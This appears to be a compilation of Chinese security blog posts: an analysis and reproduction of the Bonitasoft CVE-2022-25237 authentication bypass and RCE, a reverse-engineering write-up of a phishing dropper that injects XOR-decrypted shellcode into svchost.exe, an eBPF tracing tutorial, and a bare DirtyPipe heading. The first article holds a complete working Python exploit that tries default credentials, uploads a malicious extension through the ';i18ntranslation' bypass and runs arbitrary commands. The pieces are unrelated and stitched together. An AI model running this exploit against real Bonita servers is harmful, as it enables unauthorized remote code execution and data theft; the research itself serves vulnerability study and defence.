Bonitasoft认证绕过和RCE漏洞分析及复现(CVE-2022-25237)
一、漏洞原理 漏洞简述 Bonitasoft 是一个业务自动化平台,可以更轻松地在业务流程中构建、部署和管理自动化应用程序; Bonita 是一个用于业务流程自动化和优化的开源和可扩展平台。 Bonita Web 2021.2版本受到认证绕过影响,因为其API认证过滤器的过滤模式过于宽泛。 通过添加恶意构造的字符串到API URL,普通用户可以访问需特权的API端点。这可能导致特权API操作将恶意代码添加至服务器,从而造成RCE攻击。 漏洞影响范围 供应商:Bonitasoft 产品:Bonita Platform 确认受影响版本:< 2022.1-u0 修复版本:/ 社区版:< 2022.1-u0 (7.14.0) 订购版:< 2022.1-u0 (7.14.0) 、2021.2-u4 (7.13.4) 、2021.1-0307 (7.12.11) 、7.11.7 漏洞分析 本漏洞的漏洞点来自系统中web.xml文件,该文件用于定义系统应用的路由和如何处理路由的认证及授权。以社区版2021.2 u0为例,XML配置文件路径为bonita\BonitaCommunity-2021.2-u0\server\webapps\bonita\WEB-INF\web.xml。 按照经验来说,这里会是认证绕过易产生之处。确切地说,web.xml中的过滤器很有效地决定了访问特定路由是否应该进行过滤。下图认证过滤器定义赋值参数excludePatterns,值为i18ntranslation。之后将参数传递给2个不同过滤器类:RestAPIAuthorizationFilter, TokenValidatorFilter。 同时上述2个类RestAPIAuthorizationFilter, TokenValidatorFilter,存在同一父类AbstractAuthorizationFilter。 分析这些过滤器都对AbstractAuthorizationFilter进行扩展处理,其中doFilter方法我们展开说明。 路径为org.bonitasoft.console.common.server.login.filter.AbstractAuthorizationFilter#doFilter。 通过sessionIsNotNeeded方法进行检查,如果返回结果为真,则继续代码流程。 (checkValidCondition方法主要对doFilter的两个参数httpRequest、httpResponse进行检查,可能用于同源策略检查,不详细叙述) 下图可以看到该方法主要是参照excludePatterns对请求 URL路径字段进行检查。如果该路径存在该模式,会绕过认证过滤器,从而成功访问资源。 开始定义状态值isMatched,默认值为false。开始进行空值检查,对excludePatterns进行分隔处理。 循环进行检查,如果requestURL包含excludePatterns,则状态值isMatched变为true。跳出循环。 在前面XML文件中参数excludePattern的值为i18ntranslation。这意味着URL路径如果包含i18ntranslation,则会允许认证绕过。 根据代码特征测试,“/i18ntranslation/../“ 或 ”;i18ntranslation“ 可以进行绕过。 另外,远程命令执行(RCE)该漏洞主要是以上传恶意文件作为方式,上传接口同样定义在web.xml,为/API/pageUpload。 getPagePermissions方法在文件处理过程需要session,该session就是从apiSession获取。 根据代码,若未登录状况,apisession无法赋值,该方法会抛出异常。 从攻击角度,我们需要通过非特权下普通用户进行会话,使得apisession正常赋值,进一步实现远程命令执行。 二、漏洞复现实战 环境搭建 docker镜像: https://hub.docker.com/_/bonita vulfocus: bonita镜像 漏洞复现 首先以超级管理员身份进入bonita,创建用户功能 创建普通用户 之后根据POC进行复现 POC: import requests import sys class exploit:    try:        session = requests.session()        bonita_user = sys.argv[1]        bonita_password = sys.argv[2]        target_path = sys.argv[3]        cmd = sys.argv[4]        tempPath = ""        extension_id = ""        bonita_default_user = "install"        bonita_default_password = "install"        platform_default_user = "platformAdmin"        platform_default_password = "platform"    except:        print(f"Usage: python3 {sys.argv[0]} <username> <password> http://localhost:8080/bonita 'cat /etc/passwd'")        exit() def try_default_logins():    req_url = f"{exploit.target_path}/loginservice"    req_cookies = {"x": "x"}    req_headers = {"Content-Type": "application/x-www-form-urlencoded"}    req_data = {"username": exploit.bonita_default_user, "password": exploit.bonita_default_password, "_l": "en"}    r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)    if r.status_code == 401:        return False        # This does not seem to work when authenticating as platformAdmin, maybe it can though.    #     req_url = f"{exploit.target_path}/platformloginservice"    #     req_cookies = {"x": "x"}    #     req_headers = {"Content-Type": "application/x-www-form-urlencoded"}    #     req_data = {"username": exploit.platform_default_user, "password": exploit.platform_default_password, "_l": "en"}    #     r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)    #     if r.status_code == 200:    #         print(f"[+] Found default creds: {exploit.platform_default_user}:{exploit.platform_default_password}")    #         return True    else:        print(f"[+] Found default creds: {exploit.bonita_default_user}:{exploit.bonita_default_password}")        return True def login():    req_url = f"{exploit.target_path}/loginservice"    req_cookies = {"x": "x"}    req_headers = {"Content-Type": "application/x-www-form-urlencoded"}    req_data = {"username": exploit.bonita_user, "password": exploit.bonita_password, "_l": "en"}    r = exploit.session.post(req_url, headers=req_headers, cookies=req_cookies, data=req_data)    if r.status_code == 401:        print("[!] Could not get a valid session using those credentials.")        exit()    else:        print(f"[+] Authenticated with {exploit.bonita_user}:{exploit.bonita_password}") def upload_api_extension():    req_url = f"{exploit.target_path}/API/pageUpload;i18ntranslation?action=add"    files=[   ("file",("rce_api_extension.zip",open("rce_api_extension.zip",'rb'),'application/octet-stream'))   ]    r = exploit.session.post(req_url, files=files)    exploit.tempPath = r.json()["tempPath"] def activate_api_extension():    req_url = f"{exploit.target_path}/API/portal/page/;i18ntranslation"    req_headers = {"Content-Type": "application/json;charset=UTF-8"}    req_json={"contentName": "rce_api_extension.zip", "pageZip": exploit.tempPath}    r = exploit.session.post(req_url, headers=req_headers, json=req_json)    exploit.extension_id = r.json()["id"] def delete_api_extension():    req_url = f"{exploit.target_path}/API/portal/page/{exploit.extension_id};i18ntranslation"    exploit.session.delete(req_url) def run_cmd():    req_url = f"{exploit.target_path}/API/extension/rce?p=0&c=1&cmd={exploit.cmd}"    r = exploit.session.get(req_url)    print(r.json()["out"]) if not try_default_logins():    print("[!] Did not find default creds, trying supplied credentials.")    login() upload_api_extension() activate_api_extension() try:    run_cmd() except:    delete_api_extension() delete_api_extension() 执行POC 漏洞修复 建议更新至2022.1-u0以上版本 结束语 本文主要介绍了CVE-2022-25237 Bonitasoft 认证绕过和RCE漏洞的原理分析及复现过程,漏洞主要利用构造恶意字段添加至API URL,绕过过滤器进行访问资源,从而造成认证绕过,进一步可远程命令执行。 根据漏洞原理可以参照的是,在安全控制方面,左移安全中安全开发过程及时开展代码审计等测试工作,避免上述漏洞涉及的问题。
记一次2022某地HVV中的逆向分析
前言 事情是这样的,国庆前期某地HVV,所以接到了客户通知他们收到了钓鱼邮件想要溯源 直接下载文件逆向分析一波。钓鱼邮件,图标什么的做的还是挺逼真的,还真的挺容易中招的,但是这里的bug也明显,丹尼斯没有客户端,百度一下能够辨别这是钓鱼的。 逆向分析 查壳工具DIE看是否加壳 当然其他查壳工具也可以exeinfope等,看到的东西不一样 可以看到是64位的应用,无壳,IDA静态分析 直接进入主函数,直接F5逆向main函数c代码 主函数中使用的函数比较少 int __cdecl main(int argc, const char **argv, const char **envp) { HRSRC ResourceW; // rbx HGLOBAL Resource; // rbp signed int v5; // eax size_t v6; // rsi size_t v7; // rcx void *v8; // rdi ResourceW = FindResourceW(0i64, (LPCWSTR)0x66, L"DATA"); Resource = LoadResource(0i64, ResourceW); v5 = SizeofResource(0i64, ResourceW); v6 = v5; v7 = (unsigned int)(v5 + 1); if ( v5 == -1 )   v7 = -1i64; v8 = malloc(v7); memset(v8, 0, (int)v6 + 1); memcpy(v8, Resource, v6); sub_140001070(v8); return 0; } 简单来看就是先查找资源,DATA应该为加密的shellcode,加载资源赋 给Resource,计算资源空间大小,malloc分配空间大小,memset 将申请的内存初始化为0,memcpy函数的功能是从源内存地址的起始位置开始拷贝若干个字节到目标内存地址中,跟进sub_140001070 可以看到反汇编之后在第52行创建进程,在56行分配虚拟内存,60行写入内存,61行创建线程,这里创建的线程即为恶意进程。这里使用动态调试x96dbg验证我们的分析另外,需要分析一下外联的地址以及注入的进程是什么,64位的应用使用x64dbg,依次下断点 简单计算一下地址,IDA的起始地址为00000001400015C4 FindResourcew地址为00000001400015C4 在x64dbg中找到起始地址00007FF638B915C4 根据偏移量跳转下断点 F7按步调试 在loadResource函数中追踪内存 这里加载的是DATA的内容,即为加密的shellcode,我们直接用Resouce hacker直接查看一下恶意进程dennis.exe的DATA内容 说明我们的分析没有问题,继续向下调试 因为这个应用比较小,所以代码量也不大,f5反编译之后可以直接找到函数下断点,这里不需要计算偏移量了,计算方法跟上面差不多。 调试走到这里,可以发现走的是循环 可以明显的看到有xor异或指令,这里对shellcode即DATA的内容做异或,异或的对象为byte ptr指向的地址,内存数据为key,那么key的内容为 因为是按字节异或所以这里异或的内存应该为78,整个循环异或的key应该为12345678,shellcode加密的时候应该用的key为12345678加密的,所以这里解密使用key去解密,跳出循环RIP一下,到断点CreateProcessW 可以清晰的看到注入的进程为C:\\windwos\\system32\\svchost.exe,向下调试 申请虚拟空间内存,然后向下为写入内存 解密完成后写入内存,所以在这里是可以看到外联的ip地址或者说是域名的,这里使用的是ip,查询之后发现是某云的服务器。 在向下就是创建进程起服务svchost.exe了 小结 钓鱼使用的服务器ip地址是某云,怕是可以溯源到本人的真实身份了吧,毕竟现在国内运营商都需要实名,如果用的国内域名也都是实名的不管是否有CDN,不过这种级别的HVV也没必要。第一次逆向分析,多亏了大佬指点,步履维艰,如有错误欢迎指出。
linux跟踪技术之ebpf
ebpf简介 eBPF是一项革命性的技术,起源于 Linux 内核,可以在操作系统内核等特权上下文中运行沙盒程序。它可以安全有效地扩展内核的功能,而无需更改内核源代码或加载内核模块。 比如,使用ebpf可以追踪任何内核导出函数的参数,返回值,以实现kernel hook 的效果;通过ebpf还可以在网络封包到达内核协议栈之前就进行处理,这可以实现流量控制,甚至隐蔽通信。 ebpf追踪 ebpf本质上只是运行在linux 内核中的虚拟机,要发挥其强大的能力还是要跟linux kernel 自带的追踪功能搭配: kprobe uprobe tracepoint USDT 通常可以通过以下三种工具使用ebpf: bcc libbpf bpftrace bcc BCC 是一个用于创建高效内核跟踪和操作程序的工具包,包括几个有用的工具和示例。它利用扩展的 BPF(Berkeley Packet Filters),正式名称为 eBPF,这是 Linux 3.15 中首次添加的新功能。BCC 使用的大部分内容都需要 Linux 4.1 及更高版本。 源码安装bcc v0.25.0 首先clone bcc 源码仓库 git clone https://github.com/iovisor/bcc.git git checkout v0.25.0 git submodule init git submodule update bcc 从v0.10.0开始使用libbpf 并通过submodule 的形式加入源码树,所以这里需要更新并拉取子模块 安装依赖 apt install flex bison libdebuginfod-dev libclang-14-dev 编译bcc mkdir build && cd build cmake -DCMAKE_BUILD_TYPE=Release .. make -j #n取决于机器的cpu核心数 编译安装完成后,在python3中就能使用bcc模块了 安装bcc时会在/usr/share/bcc目录下安装bcc自带的示例脚本和工具脚本,以及manual 文档 可以直接使用man -M /usr/share/bcc/man <keyword>来查询 使用python + bcc 跟踪内核函数 bcc 自带的工具execsnoop可以跟踪execv系统调用,其源代码如下: #!/usr/bin/python # @lint-avoid-python-3-compatibility-imports # # execsnoop Trace new processes via exec() syscalls. #           For Linux, uses BCC, eBPF. Embedded C. # # USAGE: execsnoop [-h] [-T] [-t] [-x] [-q] [-n NAME] [-l LINE] #                 [--max-args MAX_ARGS] # # This currently will print up to a maximum of 19 arguments, plus the process # name, so 20 fields in total (MAXARG). # # This won't catch all new processes: an application may fork() but not exec(). # # Copyright 2016 Netflix, Inc. # Licensed under the Apache License, Version 2.0 (the "License") # # 07-Feb-2016   Brendan Gregg   Created this. from __future__ import print_function from bcc import BPF from bcc.containers import filter_by_containers from bcc.utils import ArgString, printb import bcc.utils as utils import argparse import re import time import pwd from collections import defaultdict from time import strftime def parse_uid(user):    try:        result = int(user)    except ValueError:        try:            user_info = pwd.getpwnam(user)        except KeyError:            raise argparse.ArgumentTypeError(                "{0!r} is not valid UID or user entry".format(user))        else:            return user_info.pw_uid    else:        # Maybe validate if UID < 0 ?        return result # arguments examples = """examples:   ./execsnoop           # trace all exec() syscalls   ./execsnoop -x       # include failed exec()s   ./execsnoop -T       # include time (HH:MM:SS)   ./execsnoop -U       # include UID   ./execsnoop -u 1000   # only trace UID 1000   ./execsnoop -u user   # get user UID and trace only them   ./execsnoop -t       # include timestamps   ./execsnoop -q       # add "quotemarks" around arguments   ./execsnoop -n main   # only print command lines containing "main"   ./execsnoop -l tpkg   # only print command where arguments contains "tpkg"   ./execsnoop --cgroupmap mappath # only trace cgroups in this BPF map   ./execsnoop --mntnsmap mappath   # only trace mount namespaces in the map """ parser = argparse.ArgumentParser(    description="Trace exec() syscalls",    formatter_class=argparse.RawDescriptionHelpFormatter,    epilog=examples) parser.add_argument("-T", "--time", action="store_true",    help="include time column on output (HH:MM:SS)") parser.add_argument("-t", "--timestamp", action="store_true",    help="include timestamp on output") parser.add_argument("-x", "--fails", action="store_true",    help="include failed exec()s") parser.add_argument("--cgroupmap",    help="trace cgroups in this BPF map only") parser.add_argument("--mntnsmap",    help="trace mount namespaces in this BPF map only") parser.add_argument("-u", "--uid", type=parse_uid, metavar='USER',    help="trace this UID only") parser.add_argument("-q", "--quote", action="store_true",    help="Add quotemarks (\") around arguments."   ) parser.add_argument("-n", "--name",    type=ArgString,    help="only print commands matching this name (regex), any arg") parser.add_argument("-l", "--line",    type=ArgString,    help="only print commands where arg contains this line (regex)") parser.add_argument("-U", "--print-uid", action="store_true",    help="print UID column") parser.add_argument("--max-args", default="20",    help="maximum number of arguments parsed and displayed, defaults to 20") parser.add_argument("--ebpf", action="store_true",    help=argparse.SUPPRESS) args = parser.parse_args() # define BPF program bpf_text = """ #include <uapi/linux/ptrace.h> #include <linux/sched.h> #include <linux/fs.h> #define ARGSIZE 128 enum event_type {   EVENT_ARG,   EVENT_RET, }; struct data_t {   u32 pid; // PID as in the userspace term (i.e. task->tgid in kernel)   u32 ppid; // Parent PID as in the userspace term (i.e task->real_parent->tgid in kernel)   u32 uid;   char comm[TASK_COMM_LEN];   enum event_type type;   char argv[ARGSIZE];   int retval; }; BPF_PERF_OUTPUT(events); static int __submit_arg(struct pt_regs *ctx, void *ptr, struct data_t *data) {   bpf_probe_read_user(data->argv, sizeof(data->argv), ptr);   events.perf_submit(ctx, data, sizeof(struct data_t));   return 1; } static int submit_arg(struct pt_regs *ctx, void *ptr, struct data_t *data) {   const char *argp = NULL;   bpf_probe_read_user(&argp, sizeof(argp), ptr);   if (argp) {       return __submit_arg(ctx, (void *)(argp), data);   }   return 0; } int syscall__execve(struct pt_regs *ctx,   const char __user *filename,   const char __user *const __user *__argv,   const char __user *const __user *__envp) {   u32 uid = bpf_get_current_uid_gid() & 0xffffffff;   UID_FILTER   if (container_should_be_filtered()) {       return 0;   }   // create data here and pass to submit_arg to save stack space (#555)   struct data_t data = {};   struct task_struct *task;   data.pid = bpf_get_current_pid_tgid() >> 32;   task = (struct task_struct *)bpf_get_current_task();   // Some kernels, like Ubuntu 4.13.0-generic, return 0   // as the real_parent->tgid.   // We use the get_ppid function as a fallback in those cases. (#1883)   data.ppid = task->real_parent->tgid;   bpf_get_current_comm(&data.comm, sizeof(data.comm));   data.type = EVENT_ARG;   __submit_arg(ctx, (void *)filename, &data);   // skip first arg, as we submitted filename   #pragma unroll   for (int i = 1; i < MAXARG; i++) {       if (submit_arg(ctx, (void *)&__argv[i], &data) == 0)             goto out;   }   // handle truncated argument list   char ellipsis[] = "...";   __submit_arg(ctx, (void *)ellipsis, &data); out:   return 0; } int do_ret_sys_execve(struct pt_regs *ctx) {   if (container_should_be_filtered()) {       return 0;   }   struct data_t data = {};   struct task_struct *task;   u32 uid = bpf_get_current_uid_gid() & 0xffffffff;   UID_FILTER   data.pid = bpf_get_current_pid_tgid() >> 32;   data.uid = uid;   task = (struct task_struct *)bpf_get_current_task();   // Some kernels, like Ubuntu 4.13.0-generic, return 0   // as the real_parent->tgid.   // We use the get_ppid function as a fallback in those cases. (#1883)   data.ppid = task->real_parent->tgid;   bpf_get_current_comm(&data.comm, sizeof(data.comm));   data.type = EVENT_RET;   data.retval = PT_REGS_RC(ctx);   events.perf_submit(ctx, &data, sizeof(data));   return 0; } """ bpf_text = bpf_text.replace("MAXARG", args.max_args) if args.uid:    bpf_text = bpf_text.replace('UID_FILTER',        'if (uid != %s) { return 0; }' % args.uid) else:    bpf_text = bpf_text.replace('UID_FILTER', '') bpf_text = filter_by_containers(args) + bpf_text if args.ebpf:    print(bpf_text)    exit() # initialize BPF b = BPF(text=bpf_text) execve_fnname = b.get_syscall_fnname("execve") b.attach_kprobe(event=execve_fnname, fn_name="syscall__execve") b.attach_kretprobe(event=execve_fnname, fn_name="do_ret_sys_execve") # header if args.time:    print("%-9s" % ("TIME"), end="") if args.timestamp:    print("%-8s" % ("TIME(s)"), end="") if args.print_uid:    print("%-6s" % ("UID"), end="") print("%-16s %-7s %-7s %3s %s" % ("PCOMM", "PID", "PPID", "RET", "ARGS")) class EventType(object):    EVENT_ARG = 0    EVENT_RET = 1 start_ts = time.time() argv = defaultdict(list) # This is best-effort PPID matching. Short-lived processes may exit # before we get a chance to read the PPID. # This is a fallback for when fetching the PPID from task->real_parent->tgip # returns 0, which happens in some kernel versions. def get_ppid(pid):    try:        with open("/proc/%d/status" % pid) as status:            for line in status:                if line.startswith("PPid:"):                    return int(line.split()[1])    except IOError:        pass    return 0 # process event def print_event(cpu, data, size):    event = b["events"].event(data)    skip = False    if event.type == EventType.EVENT_ARG:        argv[event.pid].append(event.argv)    elif event.type == EventType.EVENT_RET:        if event.retval != 0 and not args.fails:            skip = True        if args.name and not re.search(bytes(args.name), event.comm):            skip = True        if args.line and not re.search(bytes(args.line),                                       b' '.join(argv[event.pid])):            skip = True        if args.quote:            argv[event.pid] = [                b"\"" + arg.replace(b"\"", b"\\\"") + b"\""                for arg in argv[event.pid]           ]        if not skip:            if args.time:                printb(b"%-9s" % strftime("%H:%M:%S").encode('ascii'), nl="")            if args.timestamp:                printb(b"%-8.3f" % (time.time() - start_ts), nl="")            if args.print_uid:                printb(b"%-6d" % event.uid, nl="")            ppid = event.ppid if event.ppid > 0 else get_ppid(event.pid)            ppid = b"%d" % ppid if ppid > 0 else b"?"            argv_text = b' '.join(argv[event.pid]).replace(b'\n', b'\\n')            printb(b"%-16s %-7d %-7s %3d %s" % (event.comm, event.pid,                   ppid, event.retval, argv_text))        try:            del(argv[event.pid])        except Exception:            pass # loop with callback to print_event b["events"].open_perf_buffer(print_event) while 1:    try:        b.perf_buffer_poll()    except KeyboardInterrupt:        exit() 此工具使用kprobe和kretprobe跟踪execv系统调用的进入和退出事件,并将进程名,进程参数,pid,ppid以及返回代码输出到终端 使用python + bcc 跟踪用户函数 bcc中使用uprobe跟踪glibc malloc 函数的工具,并统计malloc 内存的总量。 #!/usr/bin/python # # mallocstacks Trace malloc() calls in a process and print the full #               stack trace for all callsites. #               For Linux, uses BCC, eBPF. Embedded C. # # This script is a basic example of the new Linux 4.6+ BPF_STACK_TRACE # table API. # # Copyright 2016 GitHub, Inc. # Licensed under the Apache License, Version 2.0 (the "License") from __future__ import print_function from bcc import BPF from bcc.utils import printb from time import sleep import sys if len(sys.argv) < 2:    print("USAGE: mallocstacks PID [NUM_STACKS=1024]")    exit() pid = int(sys.argv[1]) if len(sys.argv) == 3:    try:        assert int(sys.argv[2]) > 0, ""    except (ValueError, AssertionError) as e:        print("USAGE: mallocstacks PID [NUM_STACKS=1024]")        print("NUM_STACKS must be a non-zero, positive integer")        exit()    stacks = sys.argv[2] else:    stacks = "1024" # load BPF program b = BPF(text=""" #include <uapi/linux/ptrace.h> BPF_HASH(calls, int); BPF_STACK_TRACE(stack_traces, """ + stacks + """); int alloc_enter(struct pt_regs *ctx, size_t size) {   int key = stack_traces.get_stackid(ctx, BPF_F_USER_STACK);   if (key < 0)       return 0;   // could also use `calls.increment(key, size);`   u64 zero = 0, *val;   val = calls.lookup_or_try_init(&key, &zero);   if (val) {     (*val) += size;   }   return 0; }; """) b.attach_uprobe(name="c", sym="malloc", fn_name="alloc_enter", pid=pid) print("Attaching to malloc in pid %d, Ctrl+C to quit." % pid) # sleep until Ctrl-C try:    sleep(99999999) except KeyboardInterrupt:    pass calls = b.get_table("calls") stack_traces = b.get_table("stack_traces") for k, v in reversed(sorted(calls.items(), key=lambda c: c[1].value)):    print("%d bytes allocated at:" % v.value)    if k.value > 0 :        for addr in stack_traces.walk(k.value):            printb(b"\t%s" % b.sym(addr, pid, show_offset=True)) libbpf libbpf是linux 源码树中的ebpf 开发包。同时在github上也有独立的代码仓库。 这里推荐使用https://zhuanlan.zhihu.com/write这个项目 libbpf-bootstrap libbpf-bootstrap是使用 libbpf 和 BPF CO-RE 进行 BPF 应用程序开发的脚手架项目 首先克隆libbpf-bootstrap仓库 git clone https://github.com/libbpf/libbpf-bootstrap.git 然后同步子模块 cd libbpf-bootstrap git submodule init git submodule update 注意,子模块中包含bpftool,bpftool中还有子模块需要同步 在bpftool目录下重复以上步骤 libbpf-bootstrap中包含以下目录 这里进入example/c中,这里包含一些示例工具 直接make编译 等编译完成后,在此目录下会生成可执行文件 先运行一下bootstrap,这里要用root权限运行 bootstrap程序会追踪所有的exec和exit系统调用,每次程序运行时,bootstrap就会输出运行程序的信息。 再看看minimal,这是一个最小ebpf程序。 运行后输出大量信息,最后有提示让我们运行sudo cat /sys/kernel/debug/tracing/trace_pipe来查看输出 运行这个命令 minimal 会追踪所有的write系统调用,并打印出调用write的进程的pid 这里看到pid为11494,ps 查询一下这个进程,发现就是minimal 来看看minimal的源码,这个程序主要有两个C文件组成,minimal.c和minimal.bpf.c前者为此程序的源码,后者为插入内核虚拟机的ebpf代码。 // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) /* Copyright (c) 2020 Facebook */ #include <stdio.h> #include <unistd.h> #include <sys/resource.h> #include <bpf/libbpf.h> #include "minimal.skel.h" static int libbpf_print_fn(enum libbpf_print_level level, const char *format, va_list args) {    return vfprintf(stderr, format, args); } int main(int argc, char **argv) {    struct minimal_bpf *skel;    int err;    libbpf_set_strict_mode(LIBBPF_STRICT_ALL);    /* Set up libbpf errors and debug info callback */    libbpf_set_print(libbpf_print_fn);    /* Open BPF application */    skel = minimal_bpf__open();    if (!skel) {        fprintf(stderr, "Failed to open BPF skeleton\n");        return 1;   }    /* ensure BPF program only handles write() syscalls from our process */    skel->bss->my_pid = getpid();    /* Load & verify BPF programs */    err = minimal_bpf__load(skel);    if (err) {        fprintf(stderr, "Failed to load and verify BPF skeleton\n");        goto cleanup;   }    /* Attach tracepoint handler */    err = minimal_bpf__attach(skel);    if (err) {        fprintf(stderr, "Failed to attach BPF skeleton\n");        goto cleanup;   }    printf("Successfully started! Please run `sudo cat /sys/kernel/debug/tracing/trace_pipe` "           "to see output of the BPF programs.\n");    for (;;) {        /* trigger our BPF program */        fprintf(stderr, ".");        sleep(1);   }    cleanup:    minimal_bpf__destroy(skel);    return -err; } 首先看一下minimal.c的内容,在main函数中首先调用了libbpf_set_strict_mode(LIBBPF_STRICT_ALL);设置为libbpf v1.0模式。此模式下错误代码直接通过函数返回值传递,不再需要检查errno。 之后调用libbpf_set_print(libbpf_print_fn);将程序中一个自定义输出函数设置为调试输出的回调函数,即运行minimal的这些输出全都时通过libbpf_print_fn输出的。 然后在minimal.c:24调用生成的minimal.skel.h中的预定义函数minimal_bpfopen打开bpf程序,这里返回一个minimal_bpf类型的对象(c中使用结构体模拟对象)。 在31行将minimal_bpf对象的bss子对象的my_pid属性设置为当前进程pid 这里minimal_bpf对象和bss都由minimal.bpf.c代码编译而来。minimal.bpf.c经过clang 编译连接,生成minimal.bpf.o,这是一个elf文件,其中包含bss段,这个段内通常储存着minimal.bpf.c中所有经过初始化的变量。 skel->bss->my_pi 接下来看minimal.bpf.c 这是ebpf程序的源码,是要加载到内核中的ebpf虚拟机中运行的,由于在运行在内核中,具有得天独厚的地理位置,可以访问系统中所有资源,再配合上众多的tracepoint,就可以发挥出强大的追踪能力。 下面是minimal.bpf.c的源码 // SPDX-License-Identifier: GPL-2.0 OR BSD-3-Clause /* Copyright (c) 2020 Facebook */ #include <linux/bpf.h> #include <bpf/bpf_helpers.h> char LICENSE[] SEC("license") = "Dual BSD/GPL"; int my_pid = 0; SEC("tp/syscalls/sys_enter_write") int handle_tp(void *ctx) {    int pid = bpf_get_current_pid_tgid() >> 32;    if (pid != my_pid)        return 0;    bpf_printk("BPF triggered from PID %d.\n", pid);    return 0; } minimal.bpf.c会被clang 编译器编译为ebpf字节码,然后通过bpftool将其转换为minimal.skel.h头文件,以供minimal.c使用。 此代码中定义并初始化了一个全局变量my_pid,经过编译连接后此变量会进入elf文件的bss段中。 然后,代码中定义了一个函数int handle_tp(void *ctx),此函数中通过调用bpf_get_current_pid_tgid() >> 32获取到调用此函数的进程pid 然后比较pid与my_pid的值,如果相同则调用bpf_printk输出"BPF triggered from PID %d\n” 这里由于handle_tp函数是通过SEC宏附加在write系统调用上,所以在调用write()时,handle_tp也会被调用,从而实现追踪系统调用的功能。 SEC宏在bpf程序中处于非常重要的地位。可以参考https://libbpf.readthedocs.io/en/latest/program_types.html SEC宏可以指定ebpf函数附加的点,包括系统调用,静态tracepoint,动态的kprobe和uprobe,以及USDT等等。 Lib 通过llvm-objdump 可以看到编译后的epbf程序文件包含一个以追踪点命名的section ebpf字节码dump ebpf程序可以使用llvm-objdump -d dump 出ebpf字节码 bpftrace bpftrace 提供了一种类似awk 的脚本语言,通过编写脚本,配合bpftrace支持的追踪点,可以实现非常强大的追踪功能 安装 sudo apt-get update sudo apt-get install -y \ bison \ cmake \ flex \ g++ \ git \ libelf-dev \ zlib1g-dev \ libfl-dev \ systemtap-sdt-dev \ binutils-dev \ libcereal-dev \ llvm-12-dev \ llvm-12-runtime \ libclang-12-dev \ clang-12 \ libpcap-dev \ libgtest-dev \ libgmock-dev \ asciidoctor git clone htt bpftrace命令行参数 # bpftrace USAGE:   bpftrace [options] filename   bpftrace [options] -e 'program' OPTIONS:    -B MODE       output buffering mode ('line', 'full', or 'none')    -d             debug info dry run    -dd           verbose debug info dry run    -e 'program'   execute this program    -h             show this help message    -I DIR         add the specified DIR to the search path for include files.    --include FILE adds an implicit #include which is read before the source file is preprocessed.    -l [search]   list probes    -p PID         enable USDT probes on PID    -c 'CMD'       run CMD and enable USDT probes on resulting process    -q             keep messages quiet    -v             verbose messages    -k             emit a warning when a bpf helper returns an error (except read functions)    -kk           check all bpf helper functions    --version     bpftrace version ENVIRONMENT:   BPFTRACE_STRLEN             [default: 64] bytes on BPF stack per str()   BPFTRACE_NO_CPP_DEMANGLE   [default: 0] disable C++ symbol demangling   BPFTRACE_MAP_KEYS_MAX       [default: 4096] max keys in a map   BPFTRACE_MAX_PROBES         [default: 512] max number of probes bpftrace can attach to   BPFTRACE_MAX_BPF_PROGS     [default: 512] max number of generated BPF programs   BPFTRACE_CACHE_USER_SYMBOLS [default: auto] enable user symbol cache   BPFTRACE_VMLINUX           [default: none] vmlinux path used for kernel symbol resolution   BPFTRACE_BTF               [default: none] BTF file EXAMPLES: bpftrace -l '*sleep*'   list probes containing "sleep" bpftrace -e 'kprobe:do_nanosleep { printf("PID %d sleeping...\n", pid); }'   trace processes calling sleep bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }'   count syscalls by process name bpftrace程序语法规则 bpftrace语法由以下一个或多个action block结构组成,且语法关键字与c语言类似 probe[,probe] /predicate/ {  action } probe:探针,可以使用bpftrace -l 来查看支持的所有tracepoint和kprobe探针 Predicate(可选):在 / / 中指定 action 执行的条件。如果为True,就执行 action action:在事件触发时运行的程序,每行语句必须以 ; 结尾,并且用{}包起来 //:单行注释 /**/:多行注释 ->:访问c结构体成员,例如:bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args->filename)); }' struct:结构声明,在bpftrace脚本中可以定义自己的结构 https://github.com/iovisor/bpftrace/blob/master/docs/reference_guide.md#languagebpftrace 单行指令 bpftrace -e 选项可以指定运行一个单行程序 1、追踪openat系统调用 bpftrace -e 'tracepoint:syscalls:sys_enter_openat { printf("%s %s\n", comm, str(args->filename)); }' 2、系统调用计数 bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @[comm] = count(); }' 3、计算每秒发生的系统调用数量 bpftrace -e 'tracepoint:raw_syscalls:sys_enter { @ = count(); } interval:s:1 { print(@); clear(@); }' bpftrace脚本文件 还可以将bpftrace程序作为一个脚本文件,并且使用shebang#!/usr/local/bin/bpftrace可以使其独立运行 例如: 1 #!/usr/local/bin/bpftrace 2 3 tracepoint:syscalls:sys_enter_nanosleep 4 { 5   printf("%s is sleeping.\n", comm); 6 } bpftrace探针类型 bpftrace支持以下类型的探针: kprobe- 内核函数启动 kretprobe- 内核函数返回 uprobe- 用户级功能启动 uretprobe- 用户级函数返回 tracepoint- 内核静态跟踪点 usdt- 用户级静态跟踪点 profile- 定时采样 interval- 定时输出 software- 内核软件事件 hardware- 处理器级事件
DirtyPipe(CVE-2022-0847)漏洞分析
